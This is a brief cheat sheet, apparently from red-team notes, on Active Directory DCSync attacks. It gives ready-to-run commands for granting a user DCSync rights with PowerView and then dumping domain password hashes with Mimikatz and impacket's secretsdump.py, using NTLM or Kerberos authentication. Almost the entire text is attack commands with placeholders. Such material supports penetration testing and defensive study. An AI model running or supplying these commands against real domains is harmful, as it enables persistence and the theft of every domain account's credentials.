INTRODUCTION¶
Granting DCSync privileges allows a user to replicate domain data, which includes sensitive information such as password hashes.
STEPS TO GRANT DCSYNC PRIVILEGES¶
-
Grant DCSync Privileges using PowerView:
Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdentity bfarmer -Rights DCSync
-
Perform a DCSync Attack with Mimikatz:
Invoke-Mimikatz -Command '"lsadump::dcsync /user:[DOMAINNAME]\[ANYDOMAINUSER]"'
-
DCSync Using NTLM Authentication:
secretsdump.py [DOMAIN]/[USERNAME]:[PASSWORD]@[IP_ADRESS] -just-dc-ntlm
-
Run secretsdump.py with Kerberos Authentication:
secretsdump.py -no-pass -k <Domain>/<Username>@<DC'S IP or FQDN> -just-dc-ntlm